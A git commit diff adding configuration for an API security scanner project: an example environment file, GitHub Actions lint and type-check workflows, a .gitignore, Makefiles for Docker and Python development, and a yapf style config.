initial
This commit is contained in:
parent
02e8d891da
commit
7b0a43aaea
|
|
@ -0,0 +1,85 @@
|
|||
# ⒸAngelaMos | 2025
|
||||
# ---------------------------------------------
|
||||
# API Security Scanner - Environment Variables
|
||||
# Copy this file to .env and update the values
|
||||
|
||||
# Application Settings
|
||||
APP_NAME="API Security Tester"
|
||||
VERSION="1.0.0"
|
||||
DEBUG=true
|
||||
|
||||
# Security
|
||||
# IMPORTANT: Generate a secure random key for production!
|
||||
# Example: openssl rand -hex 32
|
||||
SECRET_KEY=your-secret-key-change-this-in-production
|
||||
ALGORITHM=HS256
|
||||
ACCESS_TOKEN_EXPIRE_MINUTES=1440
|
||||
|
||||
# Database (PostgreSQL)
|
||||
# For local development (outside Docker)
|
||||
POSTGRES_USER=apiuser
|
||||
POSTGRES_PASSWORD=apipass
|
||||
POSTGRES_DB=apisecurity
|
||||
POSTGRES_HOST=localhost
|
||||
POSTGRES_PORT=5432
|
||||
|
||||
# Database URL (overridden by docker-compose for container networking)
|
||||
DATABASE_URL=postgresql://${POSTGRES_USER}:${POSTGRES_PASSWORD}@${POSTGRES_HOST}:${POSTGRES_PORT}/${POSTGRES_DB}
|
||||
|
||||
# Backend API
|
||||
BACKEND_HOST=0.0.0.0
|
||||
BACKEND_PORT=8000
|
||||
|
||||
# CORS Origins (comma-separated for multiple origins)
|
||||
# Include both direct Vite dev server (5173) and nginx proxy (80)
|
||||
CORS_ORIGINS=http://localhost:5173,http://localhost:3000,http://localhost
|
||||
|
||||
# Frontend API URL
|
||||
# When using Docker with nginx: http://localhost/api
|
||||
# When running Vite directly (npm run dev): http://localhost:8000
|
||||
VITE_API_URL=http://localhost/api
|
||||
|
||||
# ---------------------------------------------
|
||||
# Docker Host Port Mappings
|
||||
# ---------------------------------------------
|
||||
# Change these if you have port conflicts on your host machine
|
||||
# Format: HOST_PORT:CONTAINER_PORT (only HOST_PORT is configurable)
|
||||
HOST_DB_PORT=5432
|
||||
HOST_BACKEND_PORT=8000
|
||||
HOST_FRONTEND_PORT=5173
|
||||
HOST_NGINX_PORT=80
|
||||
# Uncomment for production HTTPS:
|
||||
# HOST_NGINX_HTTPS_PORT=443
|
||||
|
||||
# ---------------------------------------------
|
||||
# Scanner Configuration
|
||||
# ---------------------------------------------
|
||||
# Default maximum requests for scans
|
||||
DEFAULT_MAX_REQUESTS=100
|
||||
DEFAULT_TIMEOUT_SECONDS=10
|
||||
DEFAULT_RETRY_COUNT=3
|
||||
|
||||
# Scanner rate limiting (outgoing requests to target)
|
||||
SCANNER_RATE_LIMIT_THRESHOLD=100
|
||||
SCANNER_RATE_LIMIT_WINDOW_SECONDS=60
|
||||
|
||||
# Scanner timeouts and connection limits
|
||||
SCANNER_MAX_CONCURRENT_REQUESTS=50
|
||||
SCANNER_CONNECTION_TIMEOUT=30
|
||||
SCANNER_READ_TIMEOUT=30
|
||||
|
||||
# Scanner request spacing and timing
|
||||
DEFAULT_JITTER_MS=100
|
||||
DEFAULT_RETRY_WAIT_SECONDS=60
|
||||
DEFAULT_BASELINE_SAMPLES=10
|
||||
|
||||
# Field Validation Constants
|
||||
PASSWORD_MIN_LENGTH=8
|
||||
PASSWORD_MAX_LENGTH=100
|
||||
EMAIL_MAX_LENGTH=255
|
||||
URL_MAX_LENGTH=2048
|
||||
|
||||
# Production Settings (optional, uncomment for prod)
|
||||
# DEBUG=false
|
||||
# CORS_ORIGINS=https://yourdomain.com
|
||||
# VITE_API_URL=https://api.yourdomain.com
|
||||
|
|
@ -0,0 +1,120 @@
|
|||
name: ESLint Check
|
||||
|
||||
on:
|
||||
pull_request:
|
||||
branches: [ '*' ]
|
||||
paths:
|
||||
- 'frontend/**/*.ts'
|
||||
- 'frontend/**/*.tsx'
|
||||
- 'frontend/eslint.config.js'
|
||||
- 'frontend/tsconfig*.json'
|
||||
- 'frontend/package.json'
|
||||
- '.github/workflows/eslint-check.yml'
|
||||
|
||||
jobs:
|
||||
eslint-check:
|
||||
name: ESLint TypeScript Check
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
permissions:
|
||||
pull-requests: write
|
||||
contents: read
|
||||
|
||||
defaults:
|
||||
run:
|
||||
working-directory: frontend
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Node.js
|
||||
uses: actions/setup-node@v4
|
||||
with:
|
||||
node-version: '20'
|
||||
cache: 'npm'
|
||||
cache-dependency-path: frontend/package-lock.json
|
||||
|
||||
- name: Install dependencies
|
||||
run: npm install
|
||||
|
||||
- name: Run ESLint
|
||||
id: eslint_check
|
||||
run: |
|
||||
echo "Running ESLint on TypeScript/React files..."
|
||||
if npm run lint:eslint > eslint-output.txt 2>&1; then
|
||||
echo "ESLINT_PASSED=true" >> $GITHUB_ENV
|
||||
echo "✅ No ESLint errors found!"
|
||||
echo "ERROR_COUNT=0" >> $GITHUB_ENV
|
||||
else
|
||||
echo "ESLINT_PASSED=false" >> $GITHUB_ENV
|
||||
# Count error lines (lines that contain file paths with problems)
|
||||
error_count=$(grep -c "^/" eslint-output.txt || echo "0")
|
||||
echo "ERROR_COUNT=$error_count" >> $GITHUB_ENV
|
||||
echo "⚠️ ESLint found issues in $error_count files!"
|
||||
fi
|
||||
cat eslint-output.txt
|
||||
continue-on-error: true
|
||||
|
||||
- name: Create ESLint Summary
|
||||
id: create_summary
|
||||
if: github.event_name == 'pull_request'
|
||||
run: |
|
||||
{
|
||||
echo '## 🔍 ESLint Results'
|
||||
echo ''
|
||||
|
||||
if [[ "${{ env.ESLINT_PASSED }}" == "true" ]]; then
|
||||
echo '### ✅ **Perfect! No ESLint issues found** 🎉'
|
||||
echo ''
|
||||
echo 'Your TypeScript and React code follows all the coding standards perfectly!'
|
||||
echo ''
|
||||
echo '**What was checked:**'
|
||||
echo '- TypeScript strict type checking and stylistic rules'
|
||||
echo '- React component patterns and hooks usage'
|
||||
echo '- Code complexity, naming conventions, and best practices'
|
||||
echo '- Accessibility (jsx-a11y) and React Refresh compatibility'
|
||||
else
|
||||
echo '### ❌ **ESLint found issues in ${{ env.ERROR_COUNT }} files**'
|
||||
echo ''
|
||||
echo 'Please review and fix the TypeScript/React issues below:'
|
||||
echo ''
|
||||
echo '<details><summary>📋 View detailed ESLint output</summary>'
|
||||
echo ''
|
||||
echo '```'
|
||||
head -100 eslint-output.txt
|
||||
echo '```'
|
||||
echo '</details>'
|
||||
echo ''
|
||||
echo '**How to fix:**'
|
||||
echo '1. Run `cd frontend && npm run lint:eslint` locally to see the issues'
|
||||
echo '2. Fix the reported TypeScript, React, and code quality problems'
|
||||
echo '3. For auto-fixable issues: `cd frontend && npx eslint . --ext .ts,.tsx --fix`'
|
||||
echo '4. Push your changes to update this PR'
|
||||
fi
|
||||
echo ''
|
||||
echo '**Commands:**'
|
||||
echo '- `cd frontend && npm run lint:eslint` - Run ESLint'
|
||||
echo '- `cd frontend && npx eslint . --ext .ts,.tsx --fix` - Auto-fix issues'
|
||||
echo '- ESLint config: `frontend/eslint.config.js`'
|
||||
echo ''
|
||||
echo '<!-- eslint-check-comment-marker -->'
|
||||
} > eslint-report.md
|
||||
|
||||
- name: Post PR Comment
|
||||
if: github.event_name == 'pull_request'
|
||||
uses: peter-evans/create-or-update-comment@v4
|
||||
with:
|
||||
issue-number: ${{ github.event.pull_request.number }}
|
||||
body-path: frontend/eslint-report.md
|
||||
edit-mode: replace
|
||||
|
||||
- name: Exit with proper code
|
||||
run: |
|
||||
if [[ "${{ env.ESLINT_PASSED }}" == "false" ]]; then
|
||||
echo "❌ ESLint checks failed. Please fix the issues above."
|
||||
exit 1
|
||||
else
|
||||
echo "✅ All ESLint checks passed!"
|
||||
exit 0
|
||||
fi
|
||||
|
|
@ -0,0 +1,156 @@
|
|||
name: Lint & Type Check
|
||||
|
||||
on:
|
||||
pull_request:
|
||||
branches: [ '*' ]
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
lint:
|
||||
name: Run Linters
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
permissions:
|
||||
pull-requests: write
|
||||
contents: read
|
||||
|
||||
defaults:
|
||||
run:
|
||||
working-directory: backend
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: '3.12'
|
||||
|
||||
- name: Cache pip dependencies
|
||||
uses: actions/cache@v4
|
||||
with:
|
||||
path: ~/.cache/pip
|
||||
key: ${{ runner.os }}-pip-${{ hashFiles('backend/pyproject.toml') }}
|
||||
restore-keys: |
|
||||
${{ runner.os }}-pip-
|
||||
|
||||
- name: Install dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip install -e ".[dev]"
|
||||
|
||||
- name: Run pylint
|
||||
id: pylint
|
||||
run: |
|
||||
echo "Running pylint..."
|
||||
if pylint . > pylint-output.txt 2>&1; then
|
||||
echo "PYLINT_PASSED=true" >> $GITHUB_ENV
|
||||
echo "✅ No pylint errors found!"
|
||||
else
|
||||
echo "PYLINT_PASSED=false" >> $GITHUB_ENV
|
||||
echo "⚠️ Pylint found issues!"
|
||||
fi
|
||||
cat pylint-output.txt
|
||||
continue-on-error: true
|
||||
|
||||
- name: Run ruff
|
||||
id: ruff
|
||||
run: |
|
||||
echo "Running ruff check..."
|
||||
if ruff check . > ruff-output.txt 2>&1; then
|
||||
echo "RUFF_PASSED=true" >> $GITHUB_ENV
|
||||
echo "✅ No ruff errors found!"
|
||||
else
|
||||
echo "RUFF_PASSED=false" >> $GITHUB_ENV
|
||||
echo "⚠️ Ruff found issues"
|
||||
fi
|
||||
cat ruff-output.txt
|
||||
continue-on-error: true
|
||||
|
||||
- name: Run mypy
|
||||
id: mypy
|
||||
run: |
|
||||
echo "Running mypy..."
|
||||
if mypy . > mypy-output.txt 2>&1; then
|
||||
echo "MYPY_PASSED=true" >> $GITHUB_ENV
|
||||
echo "✅ No mypy errors found"
|
||||
else
|
||||
echo "MYPY_PASSED=false" >> $GITHUB_ENV
|
||||
echo "⚠️ Mypy found issues"
|
||||
fi
|
||||
cat mypy-output.txt
|
||||
continue-on-error: true
|
||||
|
||||
- name: Create Lint Summary
|
||||
id: create_summary
|
||||
if: github.event_name == 'pull_request'
|
||||
run: |
|
||||
{
|
||||
echo '## 🔍 Lint & Type Check Results'
|
||||
echo ''
|
||||
|
||||
# Pylint Status
|
||||
if [[ "${{ env.PYLINT_PASSED }}" == "true" ]]; then
|
||||
echo '### ✅ Pylint: **Passed**'
|
||||
echo 'No pylint issues found.'
|
||||
else
|
||||
echo '### ⚠️ Pylint: **Issues Found**'
|
||||
echo '<details><summary>View pylint output</summary>'
|
||||
echo ''
|
||||
echo '```'
|
||||
head -100 pylint-output.txt
|
||||
echo '```'
|
||||
echo '</details>'
|
||||
fi
|
||||
echo ''
|
||||
|
||||
# Ruff Status
|
||||
if [[ "${{ env.RUFF_PASSED }}" == "true" ]]; then
|
||||
echo '### ✅ Ruff: **Passed**'
|
||||
echo 'No ruff issues found.'
|
||||
else
|
||||
echo '### ⚠️ Ruff: **Issues Found**'
|
||||
echo '<details><summary>View ruff output</summary>'
|
||||
echo ''
|
||||
echo '```'
|
||||
head -100 ruff-output.txt
|
||||
echo '```'
|
||||
echo '</details>'
|
||||
fi
|
||||
echo ''
|
||||
|
||||
# Mypy Status
|
||||
if [[ "${{ env.MYPY_PASSED }}" == "true" ]]; then
|
||||
echo '### ✅ Mypy: **Passed**'
|
||||
echo 'No mypy issues found.'
|
||||
else
|
||||
echo '### ⚠️ Mypy: **Issues Found**'
|
||||
echo '<details><summary>View mypy output</summary>'
|
||||
echo ''
|
||||
echo '```'
|
||||
head -100 mypy-output.txt
|
||||
echo '```'
|
||||
echo '</details>'
|
||||
fi
|
||||
echo ''
|
||||
|
||||
# Overall Summary
|
||||
if [[ "${{ env.PYLINT_PASSED }}" == "true" ]] && [[ "${{ env.RUFF_PASSED }}" == "true" ]] && [[ "${{ env.MYPY_PASSED }}" == "true" ]]; then
|
||||
echo '---'
|
||||
echo '### All checks passed!'
|
||||
else
|
||||
echo '---'
|
||||
echo '### Review the issues above and consider fixing them.'
|
||||
fi
|
||||
echo ''
|
||||
echo '<!-- lint-check-comment-marker -->'
|
||||
} > ../lint-report.md
|
||||
|
||||
- name: Post PR Comment
|
||||
if: github.event_name == 'pull_request'
|
||||
uses: peter-evans/create-or-update-comment@v4
|
||||
with:
|
||||
issue-number: ${{ github.event.pull_request.number }}
|
||||
body-path: lint-report.md
|
||||
comment-marker: lint-check-comment-marker
|
||||
|
|
@ -0,0 +1,129 @@
|
|||
name: TypeScript Type Check
|
||||
|
||||
on:
|
||||
pull_request:
|
||||
branches: [ '*' ]
|
||||
paths:
|
||||
- 'frontend/**/*.ts'
|
||||
- 'frontend/**/*.tsx'
|
||||
- 'frontend/tsconfig*.json'
|
||||
- 'frontend/package.json'
|
||||
- '.github/workflows/typescript-check.yml'
|
||||
|
||||
jobs:
|
||||
typescript-check:
|
||||
name: TypeScript Type Check
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
permissions:
|
||||
pull-requests: write
|
||||
contents: read
|
||||
|
||||
defaults:
|
||||
run:
|
||||
working-directory: frontend
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Node.js
|
||||
uses: actions/setup-node@v4
|
||||
with:
|
||||
node-version: '20'
|
||||
cache: 'npm'
|
||||
cache-dependency-path: frontend/package-lock.json
|
||||
|
||||
- name: Install dependencies
|
||||
run: |
|
||||
for i in {1..3}; do
|
||||
echo "Attempt $i of 3..."
|
||||
if npm install; then
|
||||
echo "✅ npm install succeeded"
|
||||
break
|
||||
else
|
||||
echo "⚠️ npm install failed, retrying in 10 seconds..."
|
||||
sleep 10
|
||||
fi
|
||||
done
|
||||
|
||||
- name: Run TypeScript type checking
|
||||
id: typescript_check
|
||||
run: |
|
||||
echo "Running TypeScript type checking..."
|
||||
if npm run lint:types > typescript-output.txt 2>&1; then
|
||||
echo "TYPESCRIPT_PASSED=true" >> $GITHUB_ENV
|
||||
echo "✅ No TypeScript type errors found!"
|
||||
echo "ERROR_COUNT=0" >> $GITHUB_ENV
|
||||
else
|
||||
echo "TYPESCRIPT_PASSED=false" >> $GITHUB_ENV
|
||||
# Count error lines (lines that contain errors)
|
||||
error_count=$(grep -c "error TS" typescript-output.txt || echo "0")
|
||||
echo "ERROR_COUNT=$error_count" >> $GITHUB_ENV
|
||||
echo "⚠️ TypeScript found $error_count type errors!"
|
||||
fi
|
||||
cat typescript-output.txt
|
||||
continue-on-error: true
|
||||
|
||||
- name: Create TypeScript Summary
|
||||
id: create_summary
|
||||
if: github.event_name == 'pull_request'
|
||||
run: |
|
||||
{
|
||||
echo '## 📝 TypeScript Type Check Results'
|
||||
echo ''
|
||||
|
||||
if [[ "${{ env.TYPESCRIPT_PASSED }}" == "true" ]]; then
|
||||
echo '### ✅ **Perfect! No TypeScript type errors found** 🎉'
|
||||
echo ''
|
||||
echo 'Your TypeScript code passes all strict type checking requirements!'
|
||||
echo ''
|
||||
echo '**What was checked:**'
|
||||
echo '- Strict type checking with `exactOptionalPropertyTypes`'
|
||||
echo '- No unused locals or parameters'
|
||||
echo '- Proper return types and void expressions'
|
||||
echo '- Module resolution and import/export syntax'
|
||||
else
|
||||
echo '### ❌ **TypeScript found ${{ env.ERROR_COUNT }} type errors**'
|
||||
echo ''
|
||||
echo 'Please review and fix the TypeScript type errors below:'
|
||||
echo ''
|
||||
echo '<details><summary>📋 View detailed TypeScript output</summary>'
|
||||
echo ''
|
||||
echo '```'
|
||||
head -100 typescript-output.txt
|
||||
echo '```'
|
||||
echo '</details>'
|
||||
echo ''
|
||||
echo '**How to fix:**'
|
||||
echo '1. Run `cd frontend && npm run lint:types` locally to see the type errors'
|
||||
echo '2. Fix the reported TypeScript type issues'
|
||||
echo '3. Ensure all variables have proper types and return types are explicit'
|
||||
echo '4. Push your changes to update this PR'
|
||||
fi
|
||||
echo ''
|
||||
echo '**Commands:**'
|
||||
echo '- `cd frontend && npm run lint:types` - Run TypeScript type checking'
|
||||
echo '- `cd frontend && npm run build` - Run full build with type checking'
|
||||
echo '- TypeScript config: `frontend/tsconfig.app.json`'
|
||||
echo ''
|
||||
echo '<!-- typescript-check-comment-marker -->'
|
||||
} > typescript-report.md
|
||||
|
||||
- name: Post PR Comment
|
||||
if: github.event_name == 'pull_request'
|
||||
uses: peter-evans/create-or-update-comment@v4
|
||||
with:
|
||||
issue-number: ${{ github.event.pull_request.number }}
|
||||
body-path: frontend/typescript-report.md
|
||||
edit-mode: replace
|
||||
|
||||
- name: Exit with proper code
|
||||
run: |
|
||||
if [[ "${{ env.TYPESCRIPT_PASSED }}" == "false" ]]; then
|
||||
echo "❌ TypeScript type checking failed. Please fix the type errors above."
|
||||
exit 1
|
||||
else
|
||||
echo "✅ All TypeScript type checks passed!"
|
||||
exit 0
|
||||
fi
|
||||
|
|
@ -0,0 +1,50 @@
|
|||
# ⒸAngelaMos | 2025
|
||||
# Gitignore - This is where you list files/folders that
|
||||
# should not be publicly commited to the remote repository
|
||||
|
||||
# Python
|
||||
__pycache__/
|
||||
*.py[cod]
|
||||
*$py.class
|
||||
*.so
|
||||
.Python
|
||||
venv/
|
||||
env/
|
||||
ENV/
|
||||
.venv
|
||||
*.cache
|
||||
*.egg-info
|
||||
|
||||
# FastAPI
|
||||
.env
|
||||
.env.local
|
||||
|
||||
# Database
|
||||
*.db
|
||||
*.sqlite3
|
||||
|
||||
# IDEs
|
||||
.vscode/
|
||||
.idea/
|
||||
*.swp
|
||||
*.swo
|
||||
|
||||
# Node/Frontend
|
||||
node_modules/
|
||||
dist/
|
||||
build/
|
||||
.DS_Store
|
||||
|
||||
# Logs
|
||||
*.log
|
||||
|
||||
# Testing
|
||||
.pytest_cache/
|
||||
.coverage
|
||||
htmlcov/
|
||||
|
||||
# Docker
|
||||
.dockerignore
|
||||
|
||||
# OS
|
||||
Thumbs.db
|
||||
|
|
@ -0,0 +1,57 @@
|
|||
# Makefile
|
||||
# ⒸAngelaMos | 2025
|
||||
# Alias commands to easily run commands (use this or package.json scripts)
|
||||
|
||||
.PHONY: help dev dev-build dev-down dev-logs prod prod-build prod-down prod-logs clean clean-all
|
||||
|
||||
help:
|
||||
@echo "API Security Scanner - Available Commands"
|
||||
@echo "=========================================="
|
||||
@echo ""
|
||||
@echo "Development:"
|
||||
@echo " make dev - Start development environment"
|
||||
@echo " make dev-build - Build and start development environment"
|
||||
@echo " make dev-down - Stop development environment"
|
||||
@echo " make dev-logs - View development logs (follow mode)"
|
||||
@echo ""
|
||||
@echo "Production:"
|
||||
@echo " make prod - Start production environment (detached)"
|
||||
@echo " make prod-build - Build and start production environment"
|
||||
@echo " make prod-down - Stop production environment"
|
||||
@echo " make prod-logs - View production logs (follow mode)"
|
||||
@echo ""
|
||||
@echo "Cleanup:"
|
||||
@echo " make clean - Stop all containers and remove volumes"
|
||||
@echo " make clean-all - Clean + remove all Docker images/cache"
|
||||
@echo ""
|
||||
|
||||
dev:
|
||||
docker compose -f docker-compose.dev.yml up
|
||||
|
||||
dev-build:
|
||||
docker compose -f docker-compose.dev.yml up --build
|
||||
|
||||
dev-down:
|
||||
docker compose -f docker-compose.dev.yml down
|
||||
|
||||
dev-logs:
|
||||
docker compose -f docker-compose.dev.yml logs -f
|
||||
|
||||
prod:
|
||||
docker compose -f docker-compose.prod.yml up -d
|
||||
|
||||
prod-build:
|
||||
docker compose -f docker-compose.prod.yml up --build -d
|
||||
|
||||
prod-down:
|
||||
docker compose -f docker-compose.prod.yml down
|
||||
|
||||
prod-logs:
|
||||
docker compose -f docker-compose.prod.yml logs -f
|
||||
|
||||
clean:
|
||||
docker compose -f docker-compose.dev.yml down -v
|
||||
docker compose -f docker-compose.prod.yml down -v
|
||||
|
||||
clean-all: clean
|
||||
docker system prune -af --volumes
|
||||
|
|
@ -0,0 +1,47 @@
|
|||
# ⒸAngelaMos | 2025 | CarterPerez-dev
|
||||
[style]
|
||||
based_on_style = pep8
|
||||
column_limit = 70
|
||||
indent_width = 4
|
||||
continuation_indent_width = 4
|
||||
indent_closing_brackets = false
|
||||
dedent_closing_brackets = true
|
||||
indent_blank_lines = false
|
||||
spaces_before_comment = 2
|
||||
spaces_around_power_operator = false
|
||||
spaces_around_default_or_named_assign = true
|
||||
space_between_ending_comma_and_closing_bracket = false
|
||||
space_inside_brackets = false
|
||||
spaces_around_subscript_colon = true
|
||||
blank_line_before_nested_class_or_def = false
|
||||
blank_line_before_class_docstring = false
|
||||
blank_lines_around_top_level_definition = 2
|
||||
blank_lines_between_top_level_imports_and_variables = 2
|
||||
blank_line_before_module_docstring = false
|
||||
split_before_logical_operator = true
|
||||
split_before_first_argument = true
|
||||
split_before_named_assigns = true
|
||||
split_complex_comprehension = true
|
||||
split_before_expression_after_opening_paren = false
|
||||
split_before_closing_bracket = true
|
||||
split_all_comma_separated_values = true
|
||||
split_all_top_level_comma_separated_values = false
|
||||
coalesce_brackets = false
|
||||
each_dict_entry_on_separate_line = true
|
||||
allow_multiline_lambdas = false
|
||||
allow_multiline_dictionary_keys = false
|
||||
split_penalty_import_names = 0
|
||||
join_multiple_lines = false
|
||||
align_closing_bracket_with_visual_indent = true
|
||||
arithmetic_precedence_indication = false
|
||||
split_penalty_for_added_line_split = 275
|
||||
use_tabs = false
|
||||
split_before_dot = false
|
||||
split_arguments_when_comma_terminated = true
|
||||
i18n_function_call = ['_', 'N_', 'gettext', 'ngettext']
|
||||
i18n_comment = ['# Translators:', '# i18n:']
|
||||
split_penalty_comprehension = 80
|
||||
split_penalty_after_opening_bracket = 280
|
||||
split_penalty_before_if_expr = 0
|
||||
split_penalty_bitwise_operator = 290
|
||||
split_penalty_logical_operator = 0
|
||||
|
|
@ -0,0 +1,154 @@
|
|||
# CertGames Backend Makefile
|
||||
# 2025 | ©AngelaMos
|
||||
|
||||
|
||||
PYTHON := python
|
||||
|
||||
.DEFAULT_GOAL := dev
|
||||
|
||||
MAKEFLAGS += --no-print-directory
|
||||
|
||||
.PHONY: help dev install reinstall check fix mypy clean tree TODO pylint
|
||||
|
||||
|
||||
define ASCII
|
||||
@echo "\033[35m"
|
||||
@echo " ⡋⣡⣴⣶⣶⡀⠄⠄⠙⢿⣿⣿⣿⣿⣿⣴⣿⣿⣿⢃⣤⣄⣀⣥⣿"
|
||||
@echo " ⢸⣇⠻⣿⣿⣿⣧⣀⢀⣠⡌⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠿⠿⣿⣿"
|
||||
@echo " ⢸⣿⣷⣤⣤⣤⣬⣙⣛⢿⣿⣿⣿⣿⣿⣿⡿⣿⣿⡍⠄⠄⢀⣤⣄⠉"
|
||||
@echo " ⣖⣿⣿⣿⣿⣿⣿⣿⣿⣿⢿⣿⣿⣿⣿⣿⢇⣿⣿⡷⠶⠶⢿⣿⣿⠇⢀"
|
||||
@echo " ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣽⣿⣿⣿⡇⣿⣿⣿⣿⣿⣿⣷⣶⣥⣴"
|
||||
@echo " ⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿"
|
||||
@echo " ⣦⣌⣛⣻⣿⣿⣧⠙⠛⠛⡭⠅⠒⠦⠭⣭⡻⣿⣿⣿⣿⣿⣿⣿⣿⡿⠃⠄"
|
||||
@echo " ⣿⣿⣿⣿⣿⣿⣿⡆⠄⠄⠄⠄⠄⠄⠄⠄⠹⠈⢋⣽⣿⣿⣿⣿⣵⣾"
|
||||
@echo " ⣿⣿⣿⣿⣿⣿⣿⣿⠄⣴⣿⣶⣄⠄⣴⣶⠄⢀⣾⣿⣿⣿⣿⣿⣿⠃⠄⠄"
|
||||
@echo " ⠈⠻⣿⣿⣿⣿⣿⣿⡄⢻⣿⣿⣿⠄⣿⣿⡀⣾⣿⣿⣿⣿⣛⠛⠁"
|
||||
@echo " ⠄⠄⠈⠛⢿⣿⣿⣿⠁⠞⢿⣿⣿⡄⢿⣿⡇⣸⣿⣿⠿⠛⠁⠄"
|
||||
@echo " ⠄⠄⠄⠄⠄⠉⠻⣿⣿⣾⣦⡙⠻⣷⣾⣿⠃⠿⠋⠁⠄"
|
||||
@echo "\033[0m"
|
||||
endef
|
||||
|
||||
|
||||
|
||||
help:
|
||||
@echo "\033[1;91mC\033[1;92me\033[1;93mr\033[1;94mt\033[1;95mG\033[1;96ma\033[1;91mm\033[1;92me\033[1;93ms\033[0m \033[1;94mBackend\033[0m \033[1;95mTesting\033[0m \033[1;96mCommands\033[0m"
|
||||
@echo "\033[1;5;93m==============================================\033[0m"
|
||||
@echo ""
|
||||
@echo "\033[1;4;96mSetup:\033[0m"
|
||||
@echo " \033[92mmake \033[36minstall-dev\033[0m \033[94m- Install development dependencies\033[0m"
|
||||
@echo " \033[92mmake \033[36mreinstall\033[0m \033[94m- Reinstall all dependencies with upgrades\033[0m"
|
||||
@echo ""
|
||||
@echo "\033[1;4;91mSyntax Checking (Ruff):\033[0m"
|
||||
@echo " \033[92mmake \033[36mqa\033[0m \033[94m- Check all code for syntax issues\033[0m"
|
||||
@echo "\033[1;4;91mSyntax Fixing (Ruff):\033[0m"
|
||||
@echo " \033[92mmake \033[36mqa\033[0m \033[94m- Fix all code of syntax issues\033[0m"
|
||||
@echo ""
|
||||
@echo "\033[1;4;94mType Checking (mypy):\033[0m"
|
||||
@echo " \033[92mmake \033[36mqa\033[0m \033[94m- Type check all code\033[0m"
|
||||
@echo "\033[1;4;94mFormat:\033[0m"
|
||||
@echo " \033[92mmake \033[36mqa\033[0m \033[94m- Format code\033[0m"
|
||||
@echo ""
|
||||
@echo "\033[1;4;92mUtilities:\033[0m"
|
||||
@echo " \033[92mmake \033[36mclean\033[0m \033[94m- Remove all cache files\033[0m"
|
||||
@echo " \033[92mmake \033[36mtree\033[0m \033[94m- Display the file tree\033[0m"
|
||||
@echo " \033[92mmake \033[36mTODO\033[0m \033[94m- Find All TODO \033[0m"
|
||||
@echo ""
|
||||
@echo "\033[1;93mCurrent default domain: \033[1;5;95m$(DOMAIN)\033[0m"
|
||||
@echo ""
|
||||
@echo "\033[1;4;93mAvailable domains:\033[0m"
|
||||
@echo " \033[91maccount\033[0m, \033[92mcommunity\033[0m, \033[93mcontent\033[0m, \033[94mfreemium\033[0m, \033[95mgames\033[0m,"
|
||||
@echo " \033[96mmarketing\033[0m, \033[91mprogression\033[0m, \033[92mshop\033[0m, \033[93mtesting\033[0m, \033[94mtools\033[0m"
|
||||
@echo ""
|
||||
@echo "\033[95m ------------------------------"
|
||||
@echo "\033[34m ⣿⣿⣿⡷⠊⡢⡹⣦⡑⢂⢕⢂⢕⢂⢕⢂⠕⠔⠌⠝⠛⠶⠶⢶⣦⣄⢂⢕⢂⢕"
|
||||
@echo "\033[34m ⣿⣿⠏⣠⣾⣦⡐⢌⢿⣷⣦⣅⡑⠕⠡⠐⢿⠿⣛⠟⠛⠛⠛⠛⠡⢷⡈⢂⢕⢂"
|
||||
@echo "\033[34m ⠟⣡⣾⣿⣿⣿⣿⣦⣑⠝⢿⣿⣿⣿⣿⣿⡵⢁⣤⣶⣶⣿⢿⢿⢿⡟⢻⣤⢑⢂"
|
||||
@echo "\033[36m ⣾⣿⣿⡿⢟⣛⣻⣿⣿⣿⣦⣬⣙⣻⣿⣿⣷⣿⣿⢟⢝⢕⢕⢕⢕⢽⣿⣿⣷⣔"
|
||||
@echo "\033[36m ⣿⣿⠵⠚⠉⢀⣀⣀⣈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣗⢕⢕⢕⢕⢕⢕⣽⣿⣿⣿⣿"
|
||||
@echo "\033[36m ⢷⣂⣠⣴⣾⡿⡿⡻⡻⣿⣿⣴⣿⣿⣿⣿⣿⣿⣷⣵⣵⣵⣷⣿⣿⣿⣿⣿⣿⡿"
|
||||
@echo "\033[36m ⢌⠻⣿⡿⡫⡪⡪⡪⡪⣺⣿⣿⣿⣿⣿⠿⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠃"
|
||||
@echo "\033[32m ⠣⡁⠹⡪⡪⡪⡪⣪⣾⣿⣿⣿⣿⠋⠐⢉⢍⢄⢌⠻⣿⣿⣿⣿⣿⣿⣿⣿⠏⠈"
|
||||
@echo "\033[32m ⡣⡘⢄⠙⣾⣾⣾⣿⣿⣿⣿⣿⣿⡀⢐⢕⢕⢕⢕⢕⡘⣿⣿⣿⣿⣿⣿⠏⠠⠈"
|
||||
@echo "\033[32m ⠌⢊⢂⢣⠹⣿⣿⣿⣿⣿⣿⣿⣿⣧⢐⢕⢕⢕⢕⢕⢅⣿⣿⣿⣿⡿⢋⢜⠠⠈"
|
||||
@echo "\033[95m ------------------------------"
|
||||
@echo "\033[0m"
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
venv:
|
||||
@echo "Creating and initializing virtual environment in .venv..."
|
||||
@python3 -m venv .venv
|
||||
|
||||
# If you use bash, change @zsh
|
||||
# can also run as just 'make'
|
||||
dev:
|
||||
@zsh -c "source .venv/bin/activate && exec zsh"
|
||||
$(call ASCII)
|
||||
|
||||
# ==================== Setup ====================
|
||||
install:
|
||||
@echo "Installing development dependencies..."
|
||||
pip install -e ".[dev]"
|
||||
|
||||
reinstall:
|
||||
@echo "Reinstalling all dependencies (including upgrades)..."
|
||||
pip install -e ".[dev]" --upgrade --upgrade-strategy eager
|
||||
$(call ASCII)
|
||||
|
||||
|
||||
